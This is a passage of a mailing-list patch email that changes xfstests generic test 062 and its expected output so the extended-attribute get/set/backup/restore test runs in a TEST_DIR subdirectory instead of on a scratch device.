version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0EAEE7FF8 for ; Wed, 11 Dec 2013 01:36:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E17C3304066 for ; Tue, 10 Dec 2013 23:36:29 -0800 (PST) X-ASG-Debug-ID: 1386747386-04cbb041686a0280001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id AgqX1ARm3loI8DHl (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Dec 2013 23:36:26 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqeLK-0004pw-Cr; Wed, 11 Dec 2013 07:36:26 +0000 Message-Id: <20131211073626.306302766@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Tue, 10 Dec 2013 23:34:46 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: Stanislav Kholmanskikh Subject: [PATCH 01/12] 062: use TEST_DIR instead of a SCRATCH_DEV References: <20131211073445.353655850@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 01/12] 062: use TEST_DIR instead of a SCRATCH_DEV Content-Disposition: inline; filename=0001-062-use-TEST_DIR-instead-of-a-SCRATCH_DEV.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386747386 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The test does not require a fresh file system. Signed-off-by: Christoph Hellwig --- tests/generic/062 | 95 ++++++------ tests/generic/062.out | 384 ++++++++++++++++++++++++------------------------- 2 files changed, 239 insertions(+), 240 deletions(-) diff --git a/tests/generic/062 b/tests/generic/062 index 047c930..fa2fce0 100755 --- a/tests/generic/062 +++ b/tests/generic/062 @@ -40,47 +40,46 @@ _cleanup() { cd / echo; echo "*** unmount" - umount $SCRATCH_MNT 2>/dev/null rm -f $tmp.* } trap "_cleanup; exit \$status" 0 1 2 3 15 getfattr() { - $GETFATTR_PROG --absolute-names -dh $@ 2>&1 | _filter_scratch + $GETFATTR_PROG --absolute-names -dh $@ 2>&1 | _filter_test_dir } setfattr() { - $SETFATTR_PROG $@ 2>&1 | _filter_scratch + $SETFATTR_PROG $@ 2>&1 | _filter_test_dir } _create_test_bed() { echo "*** create test bed" - touch $SCRATCH_MNT/reg - mkdir -p $SCRATCH_MNT/dir - ln -s $SCRATCH_MNT/dir $SCRATCH_MNT/lnk - mkdir $SCRATCH_MNT/dev - mknod $SCRATCH_MNT/dev/b b 0 0 - mknod $SCRATCH_MNT/dev/c c 0 0 - mknod $SCRATCH_MNT/dev/p p + touch $testdir/reg + mkdir -p $testdir/dir + ln -s $testdir/dir $testdir/lnk + mkdir $testdir/dev + mknod $testdir/dev/b b 0 0 + mknod $testdir/dev/c c 0 0 + mknod $testdir/dev/p p # sanity check - find $SCRATCH_MNT | LC_COLLATE=POSIX sort | _filter_scratch | grep -v "lost+found" + find $testdir | LC_COLLATE=POSIX sort | _filter_test_dir | grep -v "lost+found" } # real QA test starts here _supported_fs generic _supported_os Linux -_require_scratch _require_attrs rm -f $tmp.backup1 $tmp.backup2 $seqres.full -# real QA test starts here -_scratch_mkfs > /dev/null 2>&1 || _fail "mkfs failed" -_scratch_mount || _fail "mount failed" +testdir="$TEST_DIR/attr062" +rm -rf $testdir +mkdir $testdir + _create_test_bed # In kernels before 3.0, getxattr() fails with EPERM for an attribute which @@ -100,42 +99,42 @@ for nsp in $ATTR_MODES; do echo; echo "=== TYPE $inode; NAMESPACE $nsp"; echo echo "*** set/get one initially empty attribute" - setfattr -h -n $nsp.name $SCRATCH_MNT/$inode - getfattr -m $nsp $SCRATCH_MNT/$inode + setfattr -h -n $nsp.name $testdir/$inode + getfattr -m $nsp $testdir/$inode echo "*** overwrite empty, set several new attributes" - setfattr -h -n $nsp.name -v 0xbabe $SCRATCH_MNT/$inode - setfattr -h -n $nsp.name2 -v 0xdeadbeef $SCRATCH_MNT/$inode - setfattr -h -n $nsp.name3 -v 0xdeface $SCRATCH_MNT/$inode + setfattr -h -n $nsp.name -v 0xbabe $testdir/$inode + setfattr -h -n $nsp.name2 -v 0xdeadbeef $testdir/$inode + setfattr -h -n $nsp.name3 -v 0xdeface $testdir/$inode echo "*** fetch several attribute names and values (hex)" - getfattr -m $nsp -e hex $SCRATCH_MNT/$inode + getfattr -m $nsp -e hex $testdir/$inode echo "*** fetch several attribute names and values (base64)" - getfattr -m $nsp -e base64 $SCRATCH_MNT/$inode + getfattr -m $nsp -e base64 $testdir/$inode echo "*** shrink value of an existing attribute" - setfattr -h -n $nsp.name2 -v 0xdeaf $SCRATCH_MNT/$inode - getfattr -m $nsp -e hex $SCRATCH_MNT/$inode + setfattr -h -n $nsp.name2 -v 0xdeaf $testdir/$inode + getfattr -m $nsp -e hex $testdir/$inode echo "*** grow value of existing attribute" - setfattr -h -n $nsp.name2 -v 0xdecade $SCRATCH_MNT/$inode - getfattr -m $nsp -e hex $SCRATCH_MNT/$inode + setfattr -h -n $nsp.name2 -v 0xdecade $testdir/$inode + getfattr -m $nsp -e hex $testdir/$inode echo "*** set an empty value for second attribute" - setfattr -h -n $nsp.name2 $SCRATCH_MNT/$inode - getfattr -m $nsp -n $nsp.name2 $SCRATCH_MNT/$inode 2>&1 | invalid_attribute_filter + setfattr -h -n $nsp.name2 $testdir/$inode + getfattr -m $nsp -n $nsp.name2 $testdir/$inode 2>&1 | invalid_attribute_filter echo "*** overwrite empty value" - setfattr -h -n $nsp.name2 -v 0xcafe $SCRATCH_MNT/$inode - getfattr -m $nsp -e hex -n $nsp.name2 $SCRATCH_MNT/$inode 2>&1 | invalid_attribute_filter + setfattr -h -n $nsp.name2 -v 0xcafe $testdir/$inode + getfattr -m $nsp -e hex -n $nsp.name2 $testdir/$inode 2>&1 | invalid_attribute_filter echo "*** remove attribute" - setfattr -h -x $nsp.name2 $SCRATCH_MNT/$inode - getfattr -m $nsp -e hex -n $nsp.name2 $SCRATCH_MNT/$inode 2>&1 | invalid_attribute_filter + setfattr -h -x $nsp.name2 $testdir/$inode + getfattr -m $nsp -e hex -n $nsp.name2 $testdir/$inode 2>&1 | invalid_attribute_filter echo "*** final list (strings, type=$inode, nsp=$nsp)" - getfattr -m '.' -e hex $SCRATCH_MNT/$inode + getfattr -m '.' -e hex $testdir/$inode done done @@ -149,27 +148,27 @@ _extend_test_bed() { echo "*** extend test bed" # must set some descents' attributes to be useful - mkdir -p $SCRATCH_MNT/here/up/ascend - mkdir -p $SCRATCH_MNT/descend/down/here - find $SCRATCH_MNT/descend | xargs setfattr -n user.x -v yz - find $SCRATCH_MNT/descend | xargs setfattr -n user.1 -v 23 - find $SCRATCH_MNT/here | xargs setfattr -n trusted.a -v bc - find $SCRATCH_MNT/here | xargs setfattr -n trusted.9 -v 87 + mkdir -p $testdir/here/up/ascend + mkdir -p $testdir/descend/down/here + find $testdir/descend | xargs setfattr -n user.x -v yz + find $testdir/descend | xargs setfattr -n user.1 -v 23 + find $testdir/here | xargs setfattr -n trusted.a -v bc + find $testdir/here | xargs setfattr -n trusted.9 -v 87 # whack a symlink in the middle, just to be difficult - ln -s $SCRATCH_MNT/here/up $SCRATCH_MNT/descend/and + ln -s $testdir/here/up $testdir/descend/and # dump out our new starting point - find $SCRATCH_MNT | LC_COLLATE=POSIX sort | _filter_scratch | grep -v "lost+found" + find $testdir | LC_COLLATE=POSIX sort | _filter_test_dir | grep -v "lost+found" } _extend_test_bed echo echo "*** directory descent with us following symlinks" -getfattr -h -L -R -m '.' -e hex $SCRATCH_MNT | _sort_getfattr_output +getfattr -h -L -R -m '.' -e hex $testdir | _sort_getfattr_output echo echo "*** directory descent without following symlinks" -getfattr -h -P -R -m '.' -e hex $SCRATCH_MNT | _sort_getfattr_output +getfattr -h -P -R -m '.' -e hex $testdir | _sort_getfattr_output # # Test the backup/restore code @@ -179,7 +178,7 @@ echo; echo _backup() { # NB: no filtering of scratch here... (need to restore too) - $GETFATTR_PROG --absolute-names -dh -R -m '.' $SCRATCH_MNT >$1 + $GETFATTR_PROG --absolute-names -dh -R -m '.' $testdir >$1 echo BACKUP $1 >>$seqres.full cat $1 >> $seqres.full [ ! -s $1 ] && echo "warning: $1 (backup file) is empty" @@ -188,10 +187,10 @@ _backup() echo "*** backup everything" _backup $tmp.backup1 -echo "*** clear out the scratch device" -rm -fr $SCRATCH_MNT/* +echo "*** clear out the test dir" +rm -fr $testdir/* echo "AFTER REMOVE" >>$seqres.full -getfattr -L -R -m '.' $SCRATCH_MNT >>$seqres.full +getfattr -L -R -m '.' $testdir >>$seqres.full echo "*** reset test bed with no extended attributes" _create_test_bed @@ -202,7 +201,7 @@ setfattr -h --restore=$tmp.backup1 _backup $tmp.backup2 echo "AFTER RESTORE" >>$seqres.full -getfattr -L -R -m '.' $SCRATCH_MNT >>$seqres.full +getfattr -L -R -m '.' $testdir >>$seqres.full echo "*** compare before and after backups" diff $tmp.backup1 $tmp.backup2 diff --git a/tests/generic/062.out b/tests/generic/062.out index 8cc3c65..042e6e0 100644 --- a/tests/generic/062.out +++ b/tests/generic/062.out @@ -1,57 +1,57 @@ QA output created by 062 *** create test bed -SCRATCH_MNT -SCRATCH_MNT/dev -SCRATCH_MNT/dev/b -SCRATCH_MNT/dev/c -SCRATCH_MNT/dev/p -SCRATCH_MNT/dir -SCRATCH_MNT/lnk -SCRATCH_MNT/reg +TEST_DIR/attr062 +TEST_DIR/attr062/dev +TEST_DIR/attr062/dev/b +TEST_DIR/attr062/dev/c +TEST_DIR/attr062/dev/p +TEST_DIR/attr062/dir +TEST_DIR/attr062/lnk +TEST_DIR/attr062/reg === TYPE reg; NAMESPACE user *** set/get one initially empty attribute -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg user.name *** overwrite empty, set several new attributes *** fetch several attribute names and values (hex) -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg user.name=0xbabe user.name2=0xdeadbeef user.name3=0xdeface *** fetch several attribute names and values (base64) -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg user.name=0sur4= user.name2=0s3q2+7w== user.name3=0s3vrO *** shrink value of an existing attribute -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg user.name=0xbabe user.name2=0xdeaf user.name3=0xdeface *** grow value of existing attribute -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg user.name=0xbabe user.name2=0xdecade user.name3=0xdeface *** set an empty value for second attribute -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg user.name2 *** overwrite empty value -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg user.name2=0xcafe *** remove attribute -SCRATCH_MNT/reg: user.name2: No such attribute or operation not permitted +TEST_DIR/attr062/reg: user.name2: No such attribute or operation not permitted *** final list (strings, type=reg, nsp=user) -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg user.name=0xbabe user.name3=0xdeface @@ -59,46 +59,46 @@ user.name3=0xdeface === TYPE dir; NAMESPACE user *** set/get one initially empty attribute -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir user.name *** overwrite empty, set several new attributes *** fetch several attribute names and values (hex) -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir user.name=0xbabe user.name2=0xdeadbeef user.name3=0xdeface *** fetch several attribute names and values (base64) -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir user.name=0sur4= user.name2=0s3q2+7w== user.name3=0s3vrO *** shrink value of an existing attribute -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir user.name=0xbabe user.name2=0xdeaf user.name3=0xdeface *** grow value of existing attribute -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir user.name=0xbabe user.name2=0xdecade user.name3=0xdeface *** set an empty value for second attribute -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir user.name2 *** overwrite empty value -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir user.name2=0xcafe *** remove attribute -SCRATCH_MNT/dir: user.name2: No such attribute or operation not permitted +TEST_DIR/attr062/dir: user.name2: No such attribute or operation not permitted *** final list (strings, type=dir, nsp=user) -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir user.name=0xbabe user.name3=0xdeface @@ -106,146 +106,146 @@ user.name3=0xdeface === TYPE lnk; NAMESPACE user *** set/get one initially empty attribute -setfattr: SCRATCH_MNT/lnk: Operation not permitted +setfattr: TEST_DIR/attr062/lnk: Operation not permitted *** overwrite empty, set several new attributes -setfattr: SCRATCH_MNT/lnk: Operation not permitted -setfattr: SCRATCH_MNT/lnk: Operation not permitted -setfattr: SCRATCH_MNT/lnk: Operation not permitted +setfattr: TEST_DIR/attr062/lnk: Operation not permitted +setfattr: TEST_DIR/attr062/lnk: Operation not permitted +setfattr: TEST_DIR/attr062/lnk: Operation not permitted *** fetch several attribute names and values (hex) *** fetch several attribute names and values (base64) *** shrink value of an existing attribute -setfattr: SCRATCH_MNT/lnk: Operation not permitted +setfattr: TEST_DIR/attr062/lnk: Operation not permitted *** grow value of existing attribute -setfattr: SCRATCH_MNT/lnk: Operation not permitted +setfattr: TEST_DIR/attr062/lnk: Operation not permitted *** set an empty value for second attribute -setfattr: SCRATCH_MNT/lnk: Operation not permitted -SCRATCH_MNT/lnk: user.name2: No such attribute or operation not permitted +setfattr: TEST_DIR/attr062/lnk: Operation not permitted +TEST_DIR/attr062/lnk: user.name2: No such attribute or operation not permitted *** overwrite empty value -setfattr: SCRATCH_MNT/lnk: Operation not permitted -SCRATCH_MNT/lnk: user.name2: No such attribute or operation not permitted +setfattr: TEST_DIR/attr062/lnk: Operation not permitted +TEST_DIR/attr062/lnk: user.name2: No such attribute or operation not permitted *** remove attribute -setfattr: SCRATCH_MNT/lnk: Operation not permitted -SCRATCH_MNT/lnk: user.name2: No such attribute or operation not permitted +setfattr: TEST_DIR/attr062/lnk: Operation not permitted +TEST_DIR/attr062/lnk: user.name2: No such attribute or operation not permitted *** final list (strings, type=lnk, nsp=user) === TYPE dev/b; NAMESPACE user *** set/get one initially empty attribute -setfattr: SCRATCH_MNT/dev/b: Operation not permitted +setfattr: TEST_DIR/attr062/dev/b: Operation not permitted *** overwrite empty, set several new attributes -setfattr: SCRATCH_MNT/dev/b: Operation not permitted -setfattr: SCRATCH_MNT/dev/b: Operation not permitted -setfattr: SCRATCH_MNT/dev/b: Operation not permitted +setfattr: TEST_DIR/attr062/dev/b: Operation not permitted +setfattr: TEST_DIR/attr062/dev/b: Operation not permitted +setfattr: TEST_DIR/attr062/dev/b: Operation not permitted *** fetch several attribute names and values (hex) *** fetch several attribute names and values (base64) *** shrink value of an existing attribute -setfattr: SCRATCH_MNT/dev/b: Operation not permitted +setfattr: TEST_DIR/attr062/dev/b: Operation not permitted *** grow value of existing attribute -setfattr: SCRATCH_MNT/dev/b: Operation not permitted +setfattr: TEST_DIR/attr062/dev/b: Operation not permitted *** set an empty value for second attribute -setfattr: SCRATCH_MNT/dev/b: Operation not permitted -SCRATCH_MNT/dev/b: user.name2: No such attribute or operation not permitted +setfattr: TEST_DIR/attr062/dev/b: Operation not permitted +TEST_DIR/attr062/dev/b: user.name2: No such attribute or operation not permitted *** overwrite empty value -setfattr: SCRATCH_MNT/dev/b: Operation not permitted -SCRATCH_MNT/dev/b: user.name2: No such attribute or operation not permitted +setfattr: TEST_DIR/attr062/dev/b: Operation not permitted +TEST_DIR/attr062/dev/b: user.name2: No such attribute or operation not permitted *** remove attribute -setfattr: SCRATCH_MNT/dev/b: Operation not permitted -SCRATCH_MNT/dev/b: user.name2: No such attribute or operation not permitted +setfattr: TEST_DIR/attr062/dev/b: Operation not permitted +TEST_DIR/attr062/dev/b: user.name2: No such attribute or operation not permitted *** final list (strings, type=dev/b, nsp=user) === TYPE dev/c; NAMESPACE user *** set/get one initially empty attribute -setfattr: SCRATCH_MNT/dev/c: Operation not permitted +setfattr: TEST_DIR/attr062/dev/c: Operation not permitted *** overwrite empty, set several new attributes -setfattr: SCRATCH_MNT/dev/c: Operation not permitted -setfattr: SCRATCH_MNT/dev/c: Operation not permitted -setfattr: SCRATCH_MNT/dev/c: Operation not permitted +setfattr: TEST_DIR/attr062/dev/c: Operation not permitted +setfattr: TEST_DIR/attr062/dev/c: Operation not permitted +setfattr: TEST_DIR/attr062/dev/c: Operation not permitted *** fetch several attribute names and values (hex) *** fetch several attribute names and values (base64) *** shrink value of an existing attribute -setfattr: SCRATCH_MNT/dev/c: Operation not permitted +setfattr: TEST_DIR/attr062/dev/c: Operation not permitted *** grow value of existing attribute -setfattr: SCRATCH_MNT/dev/c: Operation not permitted +setfattr: TEST_DIR/attr062/dev/c: Operation not permitted *** set an empty value for second attribute -setfattr: SCRATCH_MNT/dev/c: Operation not permitted -SCRATCH_MNT/dev/c: user.name2: No such attribute or operation not permitted +setfattr: TEST_DIR/attr062/dev/c: Operation not permitted +TEST_DIR/attr062/dev/c: user.name2: No such attribute or operation not permitted *** overwrite empty value -setfattr: SCRATCH_MNT/dev/c: Operation not permitted -SCRATCH_MNT/dev/c: user.name2: No such attribute or operation not permitted +setfattr: TEST_DIR/attr062/dev/c: Operation not permitted +TEST_DIR/attr062/dev/c: user.name2: No such attribute or operation not permitted *** remove attribute -setfattr: SCRATCH_MNT/dev/c: Operation not permitted -SCRATCH_MNT/dev/c: user.name2: No such attribute or operation not permitted +setfattr: TEST_DIR/attr062/dev/c: Operation not permitted +TEST_DIR/attr062/dev/c: user.name2: No such attribute or operation not permitted *** final list (strings, type=dev/c, nsp=user) === TYPE dev/p; NAMESPACE user *** set/get one initially empty attribute -setfattr: SCRATCH_MNT/dev/p: Operation not permitted +setfattr: TEST_DIR/attr062/dev/p: Operation not permitted *** overwrite empty, set several new attributes -setfattr: SCRATCH_MNT/dev/p: Operation not permitted -setfattr: SCRATCH_MNT/dev/p: Operation not permitted -setfattr: SCRATCH_MNT/dev/p: Operation not permitted +setfattr: TEST_DIR/attr062/dev/p: Operation not permitted +setfattr: TEST_DIR/attr062/dev/p: Operation not permitted +setfattr: TEST_DIR/attr062/dev/p: Operation not permitted *** fetch several attribute names and values (hex) *** fetch several attribute names and values (base64) *** shrink value of an existing attribute -setfattr: SCRATCH_MNT/dev/p: Operation not permitted +setfattr: TEST_DIR/attr062/dev/p: Operation not permitted *** grow value of existing attribute -setfattr: SCRATCH_MNT/dev/p: Operation not permitted +setfattr: TEST_DIR/attr062/dev/p: Operation not permitted *** set an empty value for second attribute -setfattr: SCRATCH_MNT/dev/p: Operation not permitted -SCRATCH_MNT/dev/p: user.name2: No such attribute or operation not permitted +setfattr: TEST_DIR/attr062/dev/p: Operation not permitted +TEST_DIR/attr062/dev/p: user.name2: No such attribute or operation not permitted *** overwrite empty value -setfattr: SCRATCH_MNT/dev/p: Operation not permitted -SCRATCH_MNT/dev/p: user.name2: No such attribute or operation not permitted +setfattr: TEST_DIR/attr062/dev/p: Operation not permitted +TEST_DIR/attr062/dev/p: user.name2: No such attribute or operation not permitted *** remove attribute -setfattr: SCRATCH_MNT/dev/p: Operation not permitted -SCRATCH_MNT/dev/p: user.name2: No such attribute or operation not permitted +setfattr: TEST_DIR/attr062/dev/p: Operation not permitted +TEST_DIR/attr062/dev/p: user.name2: No such attribute or operation not permitted *** final list (strings, type=dev/p, nsp=user) === TYPE reg; NAMESPACE trusted *** set/get one initially empty attribute -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg trusted.name *** overwrite empty, set several new attributes *** fetch several attribute names and values (hex) -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg trusted.name=0xbabe trusted.name2=0xdeadbeef trusted.name3=0xdeface *** fetch several attribute names and values (base64) -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg trusted.name=0sur4= trusted.name2=0s3q2+7w== trusted.name3=0s3vrO *** shrink value of an existing attribute -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg trusted.name=0xbabe trusted.name2=0xdeaf trusted.name3=0xdeface *** grow value of existing attribute -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg trusted.name=0xbabe trusted.name2=0xdecade trusted.name3=0xdeface *** set an empty value for second attribute -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg trusted.name2 *** overwrite empty value -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg trusted.name2=0xcafe *** remove attribute -SCRATCH_MNT/reg: trusted.name2: No such attribute or operation not permitted +TEST_DIR/attr062/reg: trusted.name2: No such attribute or operation not permitted *** final list (strings, type=reg, nsp=trusted) -# file: SCRATCH_MNT/reg +# file: TEST_DIR/attr062/reg trusted.name=0xbabe trusted.name3=0xdeface user.name=0xbabe @@ -255,46 +255,46 @@ user.name3=0xdeface === TYPE dir; NAMESPACE trusted *** set/get one initially empty attribute -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir trusted.name *** overwrite empty, set several new attributes *** fetch several attribute names and values (hex) -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir trusted.name=0xbabe trusted.name2=0xdeadbeef trusted.name3=0xdeface *** fetch several attribute names and values (base64) -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir trusted.name=0sur4= trusted.name2=0s3q2+7w== trusted.name3=0s3vrO *** shrink value of an existing attribute -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir trusted.name=0xbabe trusted.name2=0xdeaf trusted.name3=0xdeface *** grow value of existing attribute -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir trusted.name=0xbabe trusted.name2=0xdecade trusted.name3=0xdeface *** set an empty value for second attribute -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir trusted.name2 *** overwrite empty value -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir trusted.name2=0xcafe *** remove attribute -SCRATCH_MNT/dir: trusted.name2: No such attribute or operation not permitted +TEST_DIR/attr062/dir: trusted.name2: No such attribute or operation not permitted *** final list (strings, type=dir, nsp=trusted) -# file: SCRATCH_MNT/dir +# file: TEST_DIR/attr062/dir trusted.name=0xbabe trusted.name3=0xdeface user.name=0xbabe @@ -304,46 +304,46 @@ user.name3=0xdeface === TYPE lnk; NAMESPACE trusted *** set/get one initially empty attribute -# file: SCRATCH_MNT/lnk +# file: TEST_DIR/attr062/lnk trusted.name *** overwrite empty, set several new attributes *** fetch several attribute names and values (hex) -# file: SCRATCH_MNT/lnk +# file: TEST_DIR/attr062/lnk trusted.name=0xbabe trusted.name2=0xdeadbeef trusted.name3=0xdeface *** fetch several attribute names and values (base64) -# file: SCRATCH_MNT/lnk +# file: TEST_DIR/attr062/lnk trusted.name=0sur4= trusted.name2=0s3q2+7w== trusted.name3=0s3vrO *** shrink value of an existing attribute -# file: SCRATCH_MNT/lnk +# file: TEST_DIR/attr062/lnk trusted.name=0xbabe trusted.name2=0xdeaf trusted.name3=0xdeface *** grow value of existing attribute -# file: SCRATCH_MNT/lnk +# file: TEST_DIR/attr062/lnk trusted.name=0xbabe trusted.name2=0xdecade trusted.name3=0xdeface *** set an empty value for second attribute -# file: SCRATCH_MNT/lnk +# file: TEST_DIR/attr062/lnk trusted.name2 *** overwrite empty value -# file: SCRATCH_MNT/lnk +# file: TEST_DIR/attr062/lnk trusted.name2=0xcafe *** remove attribute -SCRATCH_MNT/lnk: trusted.name2: No such attribute or operation not permitted +TEST_DIR/attr062/lnk: trusted.name2: No such attribute or operation not permitted *** final list (strings, type=lnk, nsp=trusted) -# file: SCRATCH_MNT/lnk +# file: TEST_DIR/attr062/lnk trusted.name=0xbabe trusted.name3=0xdeface @@ -351,46 +351,46 @@ trusted.name3=0xdeface === TYPE dev/b; NAMESPACE trusted *** set/get one initially empty attribute -# file: SCRATCH_MNT/dev/b +# file: TEST_DIR/attr062/dev/b trusted.name *** overwrite empty, set several new attributes *** fetch several attribute names and values (hex) -# file: SCRATCH_MNT/dev/b +# file: TEST_DIR/attr062/dev/b trusted.name=0xbabe trusted.name2=0xdeadbeef trusted.name3=0xdeface *** fetch several attribute names and values (base64) -# file: SCRATCH_MNT/dev/b +# file: TEST_DIR/attr062/dev/b trusted.name=0sur4= trusted.name2=0s3q2+7w== trusted.name3=0s3vrO *** shrink value of an existing attribute -# file: SCRATCH_MNT/dev/b +# file: TEST_DIR/attr062/dev/b trusted.name=0xbabe trusted.name2=0xdeaf trusted.name3=0xdeface *** grow value of existing attribute -# file: SCRATCH_MNT/dev/b +# file: TEST_DIR/attr062/dev/b trusted.name=0xbabe trusted.name2=0xdecade trusted.name3=0xdeface *** set an empty value for second attribute -# file: SCRATCH_MNT/dev/b +# file: TEST_DIR/attr062/dev/b trusted.name2 *** overwrite empty value -# file: SCRATCH_MNT/dev/b +# file: TEST_DIR/attr062/dev/b trusted.name2=0xcafe *** remove attribute -SCRATCH_MNT/dev/b: trusted.name2: No such attribute or operation not permitted +TEST_DIR/attr062/dev/b: trusted.name2: No such attribute or operation not permitted *** final list (strings, type=dev/b, nsp=trusted) -# file: SCRATCH_MNT/dev/b +# file: TEST_DIR/attr062/dev/b trusted.name=0xbabe trusted.name3=0xdeface @@ -398,46 +398,46 @@ trusted.name3=0xdeface === TYPE dev/c; NAMESPACE trusted *** set/get one initially empty attribute -# file: SCRATCH_MNT/dev/c +# file: TEST_DIR/attr062/dev/c trusted.name *** overwrite empty, set several new attributes *** fetch several attribute names and values (hex) -# file: SCRATCH_MNT/dev/c +# file: TEST_DIR/attr062/dev/c trusted.name=0xbabe trusted.name2=0xdeadbeef trusted.name3=0xdeface *** fetch several attribute names and values (base64) -# file: SCRATCH_MNT/dev/c +# file: TEST_DIR/attr062/dev/c trusted.name=0sur4= trusted.name2=0s3q2+7w== trusted.name3=0s3vrO *** shrink value of an existing attribute -# file: SCRATCH_MNT/dev/c +# file: TEST_DIR/attr062/dev/c trusted.name=0xbabe trusted.name2=0xdeaf trusted.name3=0xdeface *** grow value of existing attribute -# file: SCRATCH_MNT/dev/c +# file: TEST_DIR/attr062/dev/c trusted.name=0xbabe trusted.name2=0xdecade trusted.name3=0xdeface *** set an empty value for second attribute -# file: SCRATCH_MNT/dev/c +# file: TEST_DIR/attr062/dev/c trusted.name2 *** overwrite empty value -# file: SCRATCH_MNT/dev/c +# file: TEST_DIR/attr062/dev/c trusted.name2=0xcafe *** remove attribute -SCRATCH_MNT/dev/c: trusted.name2: No such attribute or operation not permitted +TEST_DIR/attr062/dev/c: trusted.name2: No such attribute or operation not permitted *** final list (strings, type=dev/c, nsp=trusted) -# file: SCRATCH_MNT/dev/c +# file: TEST_DIR/attr062/dev/c trusted.name=0xbabe trusted.name3=0xdeface @@ -445,120 +445,120 @@ trusted.name3=0xdeface === TYPE dev/p; NAMESPACE trusted *** set/get one initially empty attribute -# file: SCRATCH_MNT/dev/p +# file: TEST_DIR/attr062/dev/p trusted.name *** overwrite empty, set several new attributes *** fetch several attribute names and values (hex) -# file: SCRATCH_MNT/dev/p +# file: TEST_DIR/attr062/dev/p trusted.name=0xbabe trusted.name2=0xdeadbeef trusted.name3=0xdeface *** fetch several attribute names and values (base64) -# file: SCRATCH_MNT/dev/p +# file: TEST_DIR/attr062/dev/p trusted.name=0sur4= trusted.name2=0s3q2+7w== trusted.name3=0s3vrO *** shrink value of an existing attribute -# file: SCRATCH_MNT/dev/p +# file: TEST_DIR/attr062/dev/p trusted.name=0xbabe trusted.name2=0xdeaf trusted.name3=0xdeface *** grow value of existing attribute -# file: SCRATCH_MNT/dev/p +# file: TEST_DIR/attr062/dev/p trusted.name=0xbabe trusted.name2=0xdecade trusted.name3=0xdeface *** set an empty value for second attribute -# file: SCRATCH_MNT/dev/p +# file: TEST_DIR/attr062/dev/p trusted.name2 *** overwrite empty value -# file: SCRATCH_MNT/dev/p +# file: TEST_DIR/attr062/dev/p trusted.name2=0xcafe *** remove attribute -SCRATCH_MNT/dev/p: trusted.name2: No such attribute or operation not permitted +TEST_DIR/attr062/dev/p: trusted.name2: No such attribute or operation not permitted *** final list (strings, type=dev/p, nsp=trusted) -# file: SCRATCH_MNT/dev/p +# file: TEST_DIR/attr062/dev/p trusted.name=0xbabe trusted.name3=0xdeface *** extend test bed -SCRATCH_MNT -SCRATCH_MNT/descend -SCRATCH_MNT/descend/and -SCRATCH_MNT/descend/down -SCRATCH_MNT/descend/down/here -SCRATCH_MNT/dev -SCRATCH_MNT/dev/b -SCRATCH_MNT/dev/c -SCRATCH_MNT/dev/p -SCRATCH_MNT/dir -SCRATCH_MNT/here -SCRATCH_MNT/here/up -SCRATCH_MNT/here/up/ascend -SCRATCH_MNT/lnk -SCRATCH_MNT/reg +TEST_DIR/attr062 +TEST_DIR/attr062/descend 